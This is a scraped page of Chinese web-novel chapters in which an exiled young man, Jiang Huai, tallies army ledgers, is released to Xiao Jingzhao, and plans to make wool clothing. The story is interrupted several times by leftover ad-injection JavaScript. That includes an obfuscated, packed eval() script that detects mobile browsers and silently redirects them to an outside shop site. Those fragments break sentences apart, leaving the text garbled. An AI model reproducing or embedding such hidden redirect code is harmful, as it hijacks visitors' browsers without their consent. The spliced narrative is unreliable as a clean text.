(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
少,格外折磨;而这稀汤饭,屏气一会就灌下去不少,嘴里还尝不出味道。
至于说饭食太稀,没一会就消化了,反正待在军营里也不用走动,姜淮觉得吃这些也够,忍忍就过去了。
而且看着这些饭食的分量,姜淮算是明白,为什么刚才那个男子挣扎的力道小了,估计就是饿的没什么力气了。
吃过饭,姜淮回去后闭目养神,他现在可不敢睡得太沉,身边没有帮手,兵士看着也不是很管事,他万一真睡太沉,被人偷袭可能就反应不过来了,所以闭目养神是替代睡眠的最好办法。
日头一点点下落,眼看着一天就快要结束,忽的,营房外有嘈杂的脚步声传来,接着便是问询声。
“谁识字,能算账?会的站出来。”
房门被人推开,一个甲士进来又重复了一遍,然而房内没人吭声。
姜淮虽然会算账,但是也不想在这个时候出头,谁知道去算账是好事还是坏事呢,而且账目这东西,一般都有专人接手的,军营里忽然要从囚犯这边找人算账,这事看着就有些奇怪,能不沾边,姜淮还是不想沾边的。
只是姜淮想不沾边,却顶不住有人开口。
“这可是个好差事,你们要是能去做,赏一斤粮食。”甲士见没人吭声,利诱道。
“大人!”有人站了出来。
“你识字?会算账?”甲士看向站出来的人,一张马脸,眼中带着贼光,说他是贼还可信,要说他会识字算账,怕不是在骗人,“若敢骗我……”
马脸紧张的吞了吞口水,见甲士质疑,连连摇头道:“大人,我不会,我知道有人会,那我告发他,这粮食能给我吗?”
甲士闻言一惊,扫了眼账内的人,道:“行,既然他不说,那你说,这粮食就给你了。”
得到甲士的确切回答,马脸脸上笑开了花,直直的指着姜淮:“军爷,他会算账。”
姜淮发现开口的人马脸他并不认识,下意识的就想否认,可谁知道对方却将他之前用教人算术换来水壶的事都说了出来。
姜淮惊愕,对方怎么会知道这件事,知道这件事的只有他这队的囚犯吧。
跟着姜淮一起来的一个囚犯脸色煞白,告发姜淮的马脸他认识,就是在他们后面来的那队囚犯。
因为两队人一起来军营,对方格外健谈,问起他们路上的情况,他就多嘴说了些姜淮的事,原本以为没什么,却不想让姜淮出事了。
见自己是辩解不过去了,姜淮放弃挣扎,深吸口气道:“大人,小的才能浅薄,从未做过账,就怕误了军中要事。”
“这不用你管,你会算账就行,跟我走。”甲士深深看了姜淮一眼,大手一挥,拉着姜淮就要走了。
“大人,那我的……”马脸眼看甲士要走,哪怕心中害怕,还是忍不住问道。
“粮食等会就送来。”甲士不耐烦的丢下一句话,带着姜淮出了营房。
19.第 19 章
出了营房,还没有走两步,姜淮就听到身后的怒骂声和打架声,尤其是骂声还有点熟悉,像是他那队囚犯的声音,有点猜出是怎么回事了。
这都是什么事啊!
姜淮本来以为自己这两天能安生点地度过,却没想到才进军营一天,又遇到事了。
只是事已至此,也只能走一步看一步。
跟着甲士往前走,姜淮发现军中找人算账的任务应该挺急,不少甲士都在囚犯中询问,只是囚犯显然也觉得这不是什么好活,哪怕有赏赐,也没有多少人站出来,最后不少人都是被身边人告发才过来的。
跟着甲士走了好一会,走到一座灯火通明的营房内。
屋内一个壮汉苦着脸盯着面前的账本,然后将眼睛都瞪得晕乎乎的,却依旧看不下去,更不要说算账。
看到甲士带着人进来,壮汉一喜,只是想起这些囚犯的身份,脸上的笑容又收敛了些,盯着囚犯看了一圈,注意到姜淮时,目光稍微多停留了一会,才移开视线,开口道:“你们被喊过来也都知道自己要做什么吧,不知道的,本将军重复一遍,算账,把这些账目算一遍,就是你们的活。”
说着,壮汉一挥手,让甲士将账簿拿了过来,堆放到一张张桌子上,示意过来的囚犯都赶紧干活。
姜淮也被分到了一堆,看着堆起来的账本,姜淮翻开,看着里面凌乱的字迹就是一阵眼晕。
只是账本还是要算的,姜淮定了定神,先翻了翻账本,熟悉了一下书写人的字体,不至于把账目数字给看错了,然后才从头开始算。
营房内算盘声响了一个晚上,等到天光渐亮,姜淮已经将面前的账本算了个差不多,只差两本就结束了。
姜淮打了个哈欠抑制睡意,摸着咕咕叫的肚子,叹了口气,这要是什么都不干,昨天吃的那点食物还勉强够,现在动了一晚的脑,那点食物都不够消耗的。
姜淮觉得自己之所以还能算下去,那完全都是靠惯性算,脑子已经极度迟缓了。
将最后一点算完,姜淮直接撑不住,伏在案上昏睡了过去。
其他人的状态也没有比姜淮好,算得两眼发昏,只是他们本来身体就不怎么样,在军营中吃得又少,脑子更加迟缓,哪怕想休息,可看着账目没有算完,也不敢休息。
可越是不敢休息,大脑越迟缓,算得越慢,这么恶性循环之下,等壮汉过来看他们算得怎么样时,就看到一个个囚犯都两眼发蒙的样子,哪怕手中还在拨动算珠,可那迷糊的样子,谁敢相信他们算出来的结果啊。
·尤其是看到姜淮甚至睡着,更是让壮汉怒不可遏,壮汉下意识觉得这些囚犯是看自己有求于他们,就骄纵起来。
几步走到姜淮面前,壮汉刚要开口,姜淮就醒了过来。
哪怕实在是很困,姜淮可还记得自己在哪里,并没有彻底睡死过去,壮汉走近,姜淮就察觉到不对劲,挣扎着醒了过来。
抬头对上壮汉的怒容,姜淮下意识拿起他刚写好的账本递了过去。
“将军,小人已经算好了,您过目。”姜淮的话直接打断了壮汉的话茬。
“你算好了?”壮汉低头看了眼桌案,发现昨晚还在左边的账目都挪到右边来了,看起来确实像是算完了。
要没有看到其他囚犯算账是什么样子,壮汉还不会多想,可看看其他囚犯的迷糊样,对于面前的账目,壮汉有些怀疑,这小子不会是乱算的吧。
“这甲胄的账是哪上面的,你给我找出来,我看看。”壮汉翻了几页,决定试探一下。
对上壮汉质疑,姜淮强打精神,将甲胄的收支账目找了出来,给壮汉过目。
壮汉不耐烦算账,但还识字,简单的算术也是会的,多问了几次,一对照,发现姜淮算得还真没什么问题,脸上露出了笑脸。
他刚才生气也是觉得姜淮不做事,可既然做好了事,那睡一会儿就睡一会儿吧。
“行了,你接着睡吧。”壮汉挥挥手,让姜淮继续睡觉。
姜淮没想到自己还能继续睡,犹豫了三秒,迅速趴了下来,眨眼就进入了梦乡。
姜淮可太清楚他自己现在的状态有多差,要是干完活就得回营房休息,那他也基本不敢睡觉,这种状态入睡太容易睡死了,而现在,有壮汉的话在,他多少还是能安稳地睡一会儿。
见姜淮这么直爽,说睡就睡,壮汉愣了下神,看向姜淮的眼神又有些欣赏,他就喜欢这种直性子的人,不绕来绕去,绕得人心烦。
有了姜淮这个好例子,壮汉对其他囚犯的账目也有些期待,说不定只是看着迷糊,其实账算得不错呢。
只是等他用刚才试探过姜淮的办法来试探其他人,越试探,壮汉的脸越黑,这都算的什么鬼,哪怕他只是粗通算术,也能看出其中的问题,前面还好,后面真是越算越差。
“你们一把年纪都活狗身上去了,看看人家,年纪比你们轻多了,一晚上就把账本算了个清楚,你们……”壮汉怒不可遏,唾沫横飞。
姜淮哪怕睡得很沉,可也不免被声音惊扰到了,尤其是后背被各种视线洞穿,让姜淮不情不愿地从睡梦中醒来,就听到壮汉在给他拉仇恨。
虽然姜淮觉得自己很快就能离开军营,被拉点仇恨也没有什么大不了的,可是能多交点朋友总比多个仇人好,而且还是这种毫无好处的结仇,太亏了点吧。
姜淮抬头扫了眼屋内其他几名囚犯,昨晚进屋的时候满眼都是面前的账本,完全没有注意到其他人什么样,而现在一看,姜淮发现几人的年纪看着都不算小了,估摸着至少有个五十来岁。
在现代,五十来岁还算壮年,但在古代已经可以算中老年了,尤其是这一路上流放,日子难熬,几人看着更是憔悴得不行。
想想军营里吃的什么,再看看账本的工作量,姜淮没忍住开口:“大人……”
“你不是睡了?”壮汉正骂得起劲,被人打断话茬,怒气冲冲地回头,发现是姜淮开口,“怎么醒了?”
姜淮嘴角微抽,这个问题他很难回答,难道要他说是被你吵醒的。
姜淮选择避而不谈,继续刚才中断的话:“大人,小的刚想到,这账目要清算,如果只验算一遍的话,怕是容易出差错,不如多分几组,一组组分别算账,之后互相核算,这样也可以避免出错。”
壮汉没想到姜淮会出主意,让姜淮仔细说
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
了说这个办法,眼睛越听越亮,感觉这主意不错。
只算一遍,他是真怕这账目出问题。
其他几名囚犯没想到姜淮一开口就是给他们加工作量,脸色不由得就是一变,看着姜淮的目光有些愤慨。这姜淮分明是想要讨好壮汉,就用他们来做筏子,损人利己。
“不过这才算一遍,其他人都算成这样,这多算几次,他们真能算好?”壮汉回头看下其他人,眼神中带着嫌弃。
“大人,这账目数量过多,想要算得又快又准,得多找些人来。”姜淮道。
“多找人?”壮汉皱眉,有些失望,他还以为姜淮会给出什么好答复,不过看在姜淮主动开口解决问题的份上,还是解释了一番“昨日问了一圈,也只找到你们这些人,别的都不会算账。”
“大人,昨日将士上门问是否会算账,前因后果也不得而知,营中人人惶恐,都不知这是好事还是坏事,也不敢担责,自然不敢出声,若是道清缘由,不计较昨日的事,说不定还能再找到几个人。”姜淮道。
壮汉闻言一喜,不过注意到姜淮说得这么清晰,怀疑道:“你昨日该不会也是这番想法?”
姜淮面红耳赤,讷讷无言。
壮汉哈哈笑了几声,倒是没有计较姜淮昨日的想法,立刻召来将士准备再去问一遍。
“若是还不够人,大人也可去之前流放来的囚犯中问一圈,想必其中也有人能识字善算的。”姜淮补充道。
壮汉连连点头,心中的烦闷消散不少。
见姜淮脸色不太好,忽地想起军中的饮食,因为粮食不太够,将士吃得都少了,更别提像姜淮这般的囚犯,虽然他没有见过,可也清楚那饭食绝对不会好到哪里去。
“行了,你现在先别睡,我让人送些饭菜过来,你吃过再睡吧。”壮汉说道,这想让马儿跑,自然得给马儿吃草,这道理他还是懂的。
姜淮肚子适时地响了起来,红着脸道谢。
不过对上其他人的目光,姜淮犹豫了下,还是开口:“大人,其他人能否也给些饭食,人吃饱之后干活也更快,不然怕耽误做事。”
姜淮也不全然是出于好心,他清楚,壮汉对他态度好,一是因为他算账算得好,先给他提了点好感,二来就是他想人所想的帮对方出主意。
可这主意出完,也就算完成了一半,如果之后算的账目还是不行,壮汉很可能就会怪罪他,觉得白折腾一趟。
他算账再厉害,除非他能一口气将其他的账目都算清,不然也是要让其他人一起帮着干的,所以他和其他算账的囚犯也算是一个临时团队了,那自然得给团队补缺。
壮汉瞥了几眼其他人,想起他们开始做的账还不错,道:“行吧,既然你都这么说了,那就让人多上些饭菜,就由你来分配吧。”
壮汉清楚,这算账也得有个领头的人,姜淮看着就脑子清醒,算账又好,又能出主意,最主要是他看姜淮顺眼,容貌俊秀,眼中透着一点灵光,不枯槁麻木,看着就让人欢喜。
姜淮没想到壮汉会这么说,愣了下,很快应了下来。
巡视完这边的情况,军中事务繁忙,壮汉也没有多待,直接离开。
20.第 20 章
热腾腾的饭菜很快就送了过来,或许是因为壮汉的吩咐,这次的饭食看着就正常了许多,一盆略有些发灰的馒头,一碗黑乎乎的酱菜。
馒头似乎是刚蒸出来的,还带着面食独有的香气,姜淮咽了咽口水,其他人也都看着这边的饭菜流口水。
他们在流放路上过得可比姜淮还要苦些,肚子里更加没有油水,在军营里吃也就是混了个水饱,不动还能挺一会,昨晚强行动脑,早就饿得头晕眼花,乍一下闻到正常饭食的味道,如果不是还记得这是在哪里,都要动手抢了。
“把这张桌案上的东西都搬开。”姜淮指着一张桌案道。
其他人虽不明所以,可姜淮有饭菜作为人质,其他人哪怕不理解,可还是飞快地将一张干净的桌案收拾了出来。
姜淮吹了吹桌案上的灰,这才将馒头和酱菜放了上去,对上其他人灼热的目光。
姜淮数了数馒头的数量,一共有九个馒头,他们这边有四个人,一人分两个的话还有多。
姜淮确定馒头大小是差不多的之后,将一堆馒头分成了四份,三份两个,一份三个。
没有人在意有一份里馒头多了一个,他们的目光都死死地盯着其他几份馒头,尽管看出馒头大小几乎是一模一样,可还是忍不住想看看哪一份更多。
分完馒头,姜淮看向一旁的酱菜,馒头他好分,可是这酱菜,姜淮对自己掂分量的本事就不太自信了,这要是分配不均,姜淮对上其他人灼热的目光,出声问道:“这酱菜你们谁愿意分?”
不等其他人踊跃出声,姜淮又补了一句:“谁负责分配,谁就最后拿。”
这话一出,三人当中有两个人就不吭声了,自家人知道自家的能力,这多吃多占他们能做到,可要分配均匀,哪怕是自己来分,也不敢说一定能分配均,万一自己拿了最少的那份,还是自己的分的,那不得气死。
“公子,小老儿愿分。”三人中年纪最大的一个老头站了出来。
姜淮让出位置来,老头上前掂了掂装酱菜的碗,因为没有多余的碗筷,老头直接将酱菜放到了馒头上,另外两人都紧盯着他手下的动作,试图分辨出哪一份的酱菜更多些。
只是看来看去,两人发现老头敢站出来,是有点本事在身,这酱菜分得可太均匀了,硬是看不出哪份更多。
“公子,小老儿分好了。”老头放下酱菜碗。
姜淮率先拿起三个馒头的那份,然后道:“剩下的你们一人拿一份,你先来。”
姜淮随意点了一个人,对方早就做好了准备,话音落下,对方就赶紧抓起两个馒头开啃,另一人也赶紧拿了一份。
老头落在最后面,拿起最后一份馒头慢慢吃了起来。
一时间,屋内只有吃东西的声音,姜淮本来觉得三个馒头自己可能都吃不完,结果吃到肚里才发现,累了一晚上之后,胃口是真的会变大,三个馒头吃下肚,轻轻松松。
虽然刚吃完就睡觉不太好,但是姜淮清楚,也就现在才有点时间睡觉,等将士把新的算账人找来了,那就要不停地干活了。
姜淮打了个哈欠,直接选择趴下睡觉,同时也招呼其他人赶紧睡觉,不然等新人到了,就要开始干活了。
……
被姜淮点拨了一番,再派去找会算账人的将士态度就好了一些,将缘由解释了个清楚,好几个人就踊跃自荐了,考虑到账目数量确实很多,还去之前来的囚犯那边找了一圈,一下子找了十多个算账的人过来。
看到找来这么多人,壮汉眉飞色舞,觉得这下事情就好办了。
只是要让他来管理这些人的话,壮汉有些不耐烦了,看到一边的姜淮,直接将他抓了壮丁:“你小子脑子灵活,你来负责这些人算账的事,算好了就来告诉我。”
说完壮汉就急匆匆地走,不过他还记得留下两个将士看门,避免姜淮没有帮手。
赶鸭子上架,姜淮虽然有些局促,但脸上还是挂着一派淡定的模样。
姜淮不觉得这些囚犯都会是什么好人,或者说可能有好人,但是绝对少,如果让他们发现自己有好欺负的趋势,指不定就会动什么歪心思。
姜淮虽然没有怎么算过账,但是分门别类还是知道一点的,将所有的账目收集起来,让所有人粗粗看一遍,确定账目记录是什么,分类清楚之后,才开始安排人。
初算,复算,核算,他负责整个账目的统计复核,看似轻松,但是压力也大。
只不过这份活姜淮也不敢交给别人。他是负责人,如果哪里有问题,军中追问还是问到他头上来,还不如自己挑起担子来。
虽然有人不服姜淮,可有壮汉的话在前,加上两个留下的将士只听姜淮的话,哪怕不服也只能老实听话了。
一册册账本被清算清楚,姜淮一笔笔地登记上,只是越算,姜淮发现这账里面似乎有点问题,看似取用消耗很正常,但太正常了,反而让他看出了其中的不对劲。
只是想想这账本是军营里的,尤其是前一个记账的还出事了,姜淮权当没有看到,他不能掺和到这件事当中。
尤其是不能让其他人发现他知道这件事。
姜淮感觉异常苦逼,虽然暂时还看不出太多问题,但这事显然是个雷啊,有可能炸,有可能不炸,但具体会不会炸,什么时候炸,那都是说不准的事。
姜淮怀疑作为原文的炮灰,他身上是不是自带什么光环,不然只是进个军营,居然还能掺和进这种事,这不会是老天想搞死他吧。
尽管心情沉重,姜淮脸上还不敢表露出来,正常地算完账,统计好了,然后让将士去禀告。
等王进来时,看到账册都清算完毕,粗略地翻阅了一遍,感觉没有什么问题,看向姜淮的目光很是赞赏。
“你小子不错,军中暂时缺个算账的,虽说不能算正职,但是可以领俸禄,也比做别的强,就算这官职有人了,你说不定也能当个帮手,也能领些银子。”
王进知道这些新来的流放囚犯会如何安排,没有意外的话,就是去戍边屯垦,看眼前这小子的身板也知道,要真干这些,怕是活不了多久,就算能活
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503396|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下来也很吃苦。
要不知道姜淮的才华也就罢了,知道了就感觉太浪费了。
“大人……”姜淮开口准备拒绝。
“对了,你叫什么来着?”王进问道,压根没有在意姜淮试图拒绝的态度。
“小人名姜淮。”姜淮道。
“姜淮?”王进喃喃,这个名字有点过于文雅了,而且他似乎在哪里听说过。
让人拿来了最近这批囚犯的资料,王进飞快找到了姜淮的名字,然后定住了。
对于边陲之地的人来说,卫家是他们万分熟悉的家族,而姜家本来声名不算明显,哪怕姜老太傅是太子的老师,可围在太子身边的人不少,姜家自然就不显眼了。
可这是之前,经过卫家被说通敌叛国后,姜家也跟着因为太子谋逆的事被判了流放,作为边将,虽不知晓其中的缘由,可因为太子的关系,姜家一时间也成了边陲人口中常常讨论的家族。
可姜家人怎么会流放到安远府,他们打听到的消息分明是怀兴府,这两地距离极远,一北一南的,怎么会送到他们这边呢?
不过王进也没有多想,只觉得自己既然发现这件事,那就要好好照顾姜淮一番了。
刚好,可以用刚才算账的借口照顾姜淮一番。
王进看着姜淮消瘦的模样,越看越觉得姜淮给好好补补,不然这冬日怕是不好熬过去。
姜淮倒是没有想到,王进知晓自己姓名,翻看一番后态度倒是好了不少,而这变好的态度让姜淮有些猜测,莫非对方是姜家的故旧,可是姜家似乎没有从军的旧友啊!
不过就算在军中可能得到王进的照顾,姜淮还是没有放弃离开的念头。
姜淮很清楚,军中除了士兵外就是囚犯,自己留在这里,王进在的时候倒是能好些,可一旦对方离开,那他说到底还是个囚犯,万一有谁使唤他,只要对方态度强硬,那他就不可以拒绝,还是不如在外面自由。
要是没有账本的事,姜淮可能还会犹豫一下,可有个账本的雷在这里,姜淮哪里敢在军中多留。
“大人,不是小人不愿效力,只是小人算术也一般,如今能将账册做好,也是倚仗其他人帮忙,一人的话怕是做不好这事。”姜淮再次开口拒绝。
他这次也只是试探一下,实在不行,也只能先答应下来,再做准备,毕竟危机还不知道是什么开始,可现在直接拒绝,现在就有危机了。
王进虽然不知道账本里的问题,可知道姜淮的情况后,对他的态度也多了一分慎重,发现姜淮似乎不太情愿留下,察觉到一丝不对劲。
虽说在军中做事和姜淮在家中比起来也累,可对方能从流放路上挺过来,活着抵达安远府,应当不是那种不能吃苦的,现在却两次婉拒,这里面显然是有事。
“你不做这个,想必是有什么理由。”王进问道,“刚说的那个就不必再说,给我一个别的原因。”
姜淮沉默了片刻:“小人已经和人约好,他会拿银子来赎我,待出去后便想办法做点事,赚些银钱赎每年的牢役。”
21.第 21 章
被送回来,姜淮都有点不敢相信,他就用那么一句话,让王进放弃了想法。
他口舌有这么厉害吗?
姜淮疑惑,但是很快,姜淮就没有时间多想,萧靖昭来接他了。
远远地看见萧靖昭的身影,姜淮忍不住快跑了几步,明明才隔了两天没见,姜淮发觉自己其实有点想念对方。
“吃了吗?”萧靖昭问。
姜淮摇了摇头,萧靖昭来得太早了,军营中还没有来得及吃饭呢。
“走,我们先去吃顿饭吧。”萧靖昭扫了眼远处的军营,收回视线,牵住姜淮朝外走。
姜淮下意识朝一边看去,发现身边已经没有皂卒和囚犯,才想起来自己已经不是在流放队伍中,不用太注意其他人的眼光了。
“吃什么啊?这边有什么吃的……”
清朗的少年声飘荡而起,一高一矮两道身影靠在一处,越走越远。
“将军?”亲卫找了一圈,才发现王进站在高处朝远处看去,下意识顺着目光看过去,并没有发现什么异常。
“事情办好了。”王进收回目光。
“已经办妥了。”亲卫回道,忍不住有些好奇,“将军,那人是有什么不妥吗?”
王进让他去将一个流放来的囚犯身份信息都小心放起来,但是不是特意藏起来,而是放到不易找的缝隙里,这样在外人看来,就像是这些文书被意外掉落了,除非有人大动干戈地找,不然一般情况都不会发现对方的身份资料。
而真到那时候,文书还在,自然有理由推脱,自己也不沾麻烦。
“不该问的就别问,这事就吞肚子里,谁也别说。”王进瞪了亲卫一眼,他这亲卫别的都好,就是容易好奇心过重,好在嘴也是严实,不然他也不敢让他去做这件事。
亲卫看他这个态度,也不敢再问下去。
王进叹了口气,昨日姜淮说完理由,他其实还是想让姜淮留在军中的,毕竟在军中,他多少能照看对方,而出了军营,万一出事,可能都来不及救人。
可很快他就想起来,这军中不光是有对太子亲近的人,更有对太子怀有敌意的人,苏家如今代替卫家执掌边军,若是发现了姜淮的存在,那姜淮在军营中反而麻烦。
即便他想护住姜淮,可苏家在,他也不能护得太过分,而姜淮的囚犯身份在军中反而让他容易被苏家针对。
和这种情况相比,让姜淮离开反而是个好主意。
毕竟安远府很大,如果只在军营,苏家发现姜淮的概率很大,针对他的概率也大,可离得远了,说不定就没有发现呢,就算发现了,针对起来也没有那么名正言顺。
至于那个和姜淮约好的人,他没敢现在就去调查,怕一调查就被发现,然后顺藤摸瓜地找到了姜淮,只能在这看看,看清对方,认认脸,等之后有机会再让人去查查看。
不过今日一看,对方看着虽然略显阴郁了些,但面相还是不错的,并且和姜淮相处得也不错,应该可以稍微放心一些。
……
“真的要去酒楼吃吗?”姜淮被萧靖昭拉到了一家酒楼面前,犹豫了下。
“你今日刚从军营出来,算是接风洗尘,也就吃这么一次。”萧靖昭轻声道,他身上带的金银不少,虽说不能太在姜淮面前显露,但是这是姜淮第一次这样的自在,去酒楼吃一顿也没有什么不可以的。
姜淮咽口口水,感觉穿越以来,他总是会被馋到,但是以往解馋的食物也就是因为饿,才能解馋,但还没有尝过这个时代真正的美食。
“那进去吃一顿得多少钱啊?”虽然很馋,萧靖昭给的借口也很充足,但是姜淮还记得他这赎一年牢役的银子不少,这才刚交完,又去酒楼吃一顿,是不是太奢侈了点。
萧靖昭倒是没有进去过,也没有看菜牌,但是他觉得他带的钱完全够了。
“要不然进去问问菜价?”萧靖昭问。
还没等姜淮回答,站在门口招呼客人的小二听到了两人的对话,朝这边看了一眼,见萧靖昭穿着普通,而姜淮更是穿得破破烂烂,鼻孔朝天开口赶人。
“去去去,哪里来的穷酸鬼叫花子,吃不起就滚一边去,别挡客。”
萧靖昭平静地看了眼小二,目光极其平淡,却让小二心中一阵心悸。
小二这才注意到萧靖昭身形高大,有点担心刚才的话惹急了萧靖昭,动手打人,下意识后退了两步,确定自己在酒楼的庇护范围内,等确定安全了,小二才发现自己居然被萧靖昭的目光给吓到了,顿时有些恼怒。
“穷酸鬼,看什么看,吃不起就别过来,还想打人啊。”小二说着,还喊了楼里的人出来保护自己。
“魏哥,走吧,有这种狗眼看人低的伙计,这酒点感觉也没有多好,再说,我们这等于得罪了端菜的,万一给我们在饭菜里加点料,那谁吃得下。”姜淮握住了萧靖昭的手,注意到朝这边来的客流,大声道。
这时候正是用饭的时候,一些人路过酒楼,正准备进来,看到楼内有人气势汹汹冲了出来,又听到姜淮的话,脑子一转就猜到姜淮说的加料是什么意思,顿时食欲全无。
在姜淮开口之前,谁能想到小二端菜会不会做这种事,这事不经想,没这个意识之前不会怀疑,而一旦产生了怀疑,就很难控制不去猜测。
尤其是来人看到小二一脸的凶相,犹豫片刻,脚步一转,走向了旁边的酒楼。
而一些常来的客人,看到小二的样子,也不敢说自己有没有在吃饭的时候让小二不快,这下也有点不太敢吃了。
眼看着几个常来的客人都被姜淮这句话给赶走了,小二脸上发白,看着姜淮的眼光像是恨不得从他身上剜下一块肉,只是现在紧要的任务是赶紧解释,不能让这些老客流失了。
姜淮也没想到他这句话效果这么好,看小二去那边和客人解释,拉着萧靖昭就离开。
“你要真想给我接风洗尘的话,我现在吃都还好,就是想洗浴,这边有浴堂吗?”姜淮看向萧靖昭,他这一路上都没有洗过澡,开始是很嫌弃的,但是后面渐渐地也习惯了,也会稍微擦洗一下,但是不敢用水洗。
而等后面天冷了些,气味也不明显,可是姜淮还是有点嫌弃,只是之前都没有机会,与其花钱吃点,还不如洗澡洗头。
现在天气虽然冷了点,但是和姜淮记忆中冬天的冷还是差不少的,现在洗澡洗头都还来得及,只要做好一点保暖,也不至于着凉怎么样,但是再晚点,那就真的不能洗澡洗头了。
唯一的问题就是,这安远府有浴堂吗?
浴堂什么的,萧靖昭还真
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519952|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的没有多注意。
见萧靖昭愣住,姜淮就知道对方肯定没有注意,拉着他准备去找人问问,刚好旁边就是一家布庄,姜淮没有走进去,毕竟他身上脏脏的,进去指不定就弄脏了人家的店,只站在门外询问。
掌柜的听到声音抬头一看,就看到一个容貌俊秀,满脸笑容的少年郎在问话,虽然少年郎身上的衣着有些脏乱差,但仪态极好,倒是让掌柜没有那么嫌弃。
听到姜淮在问浴堂,掌柜眼中了然,很快就告诉姜淮附近浴堂的地址,离这边并不远,走过一条街就到了。
姜淮连连道谢,就要和萧靖昭一起过去,萧靖昭却拉住了他。
“怎么?”姜淮疑惑。
“你身上的衣服也该换一身了。”萧靖昭低头看向姜淮身上。
姜淮跟着低头,囚服本来就不干净,这一路,风里来,雨里去的,时不时地还躺在地上睡觉,早就脏兮兮的,甚至因为过脏,都看不出是囚服的样子,这洗完澡要是穿这衣服,人刚干净又脏了。
“那买一身吧。”姜淮纠结了下钱,还是决定买一身衣服。
毕竟衣服也算是刚需了,囚服就算之后清洗干净了,可以改一改,穿在里面,但是不太可能穿在外面,除非他想一直被人歧视,不然必须买一套正常的衣裳。
而且现在天冷了,不买新的厚衣服,这个冬天怕是要熬不过去。
不过进门前,姜淮还是问了句掌柜,他要买衣裳的话能进去吗?
掌柜的对姜淮倒是有些好感,加上对方是要买衣裳,虽然姜淮身上脏了点,但是多注意还是没什么问题,至于说灰尘,这安远府哪没有灰尘,掸掸就好。
“掌柜的,你这有厚一点的衣裳吗?最好冬日能穿。”姜淮提出自己的需求。
掌柜的上下打量了一番姜淮,注意到姜淮的衣服,他的眼睛相当利,刚才离得远还没有看出来,可现在却是看出了姜淮穿的囚服。
穿囚服的人都穷,这是安远府人的共识,但是这种共识现在也有例外,那就是最近到安远府能出来的囚犯绝对不穷,因为对方都有钱给自己出赎身钱。
虽然明面上叫赎牢役,但是安远府其他人都直接说这是赎身钱,还是一年一次赎身的钱。
能出得起这个钱,对方绝对算不上穷。
掌柜脸上的笑容都热情了不少,这流放的人刚来,一身衣服哪里够,这不得多置办几身,只要招呼好了,这就是个大主顾啊。
掌柜的也不嫌弃姜淮身上脏了,赶紧招呼姜淮坐下,并去里屋将缝制好的衣裳取了出来。
“小公子,你看看,这内里是丝绵的,外面缝了羊羔皮,极为暖和。”掌柜仔细讲解起来,甚至还要姜淮摸一摸,他刚才注意到了,虽然姜淮别处有些脏,但是一双手还是很干净,摸一摸也不至于摸脏了。
这衣服本来是给安远府一个富家公子做的,结果因为前几月的战事,那家人也从安远府迁走了,这衣裳也只付了定钱,就这么留在他们铺子里。
每次看到这件衣裳,掌柜的都是扼腕,这衣裳做起来花了不少钱,因为衣裳尺寸有些小,原价根本卖不出去,后面哪怕降价也卖不出去。
他现在就想收一点本,不然这衣裳放在这里也是放着,只会越放越旧,衣裳更不值钱了。
23-30
第23章 第 23 章
将想法压下, 姜淮朝着浴堂而去。
浴堂内人数比姜淮想象中要少一些,或许是因为时间还早,不是寻常洗浴的时候, 又或者是临近冬日,洗澡有些危险,能不洗的情况下, 大多数人都会选择不洗澡。
姜淮要不是实在忍不了, 估计也不会来这一趟。
姜淮看看身上的污秽,找浴堂里的人要了一个桶, 身上这么脏, 先搓一搓再去泡澡比较好。
浴堂内的人瞥了眼姜淮, 默不作声地递给他一个桶, 然后推荐姜淮买点澡豆, 不然这一身怕是不好洗。
浴堂的人不说,姜淮还没有想到这点, 只是问了问澡豆的价格, 姜淮没有要那些说有各种功效的澡豆,只要了一份最便宜的皂荚制成的澡豆。
匆匆交了钱, 姜淮赶紧就进了换衣区,洗澡前先将头发盘了起来, 避免头发提前就湿了,然后才将衣服脱下,提着桶到了洗浴区。
因为有这一池热水,浴堂内还不算冷, 只是脱掉衣服后多少还是有些凉飕飕的, 姜淮不敢耽误,赶紧打湿身体, 然后用澡豆涂抹全身,使劲地搓了起来。
连着用完两桶水,姜淮才感觉身上干净了不少,这才敢下池子泡澡。
因为来得早,这一池子的水都还算干净,倒是让姜淮松了一口气,毕竟池水就算脏,他该洗还是得洗,就是多少会有点膈应。
安静地在池水里躺着,享受片刻的安宁,姜淮长出一口气,可以说这一路走过来,也就现在躺在池水里,才能稍微地放松一些。
不过姜淮很清楚,他此时的舒服并不是他自己能享受的,而是用了萧靖昭的银钱,如果不是萧靖昭,他这时候指不定还待在军营内,就算是答应王将军留了下来,估计也没有这么轻松。
所以,他现在的首要目标就是赚钱。
刚从军营出来,姜淮还想着去哪里找赚钱的办法,可是刚才撞见的卖羊毛的小孩倒是给了他一些灵感。
虽然才来安远府这么些天,但所有人对此地的形容都是苦寒,足见此地对温暖的需求了。
别的保暖的衣物他没有办法制作,但是毛衣说不定还是有可能,要是能将羊毛纺成毛线,那织个毛衣毛裤,围巾什么的,也不是不行。
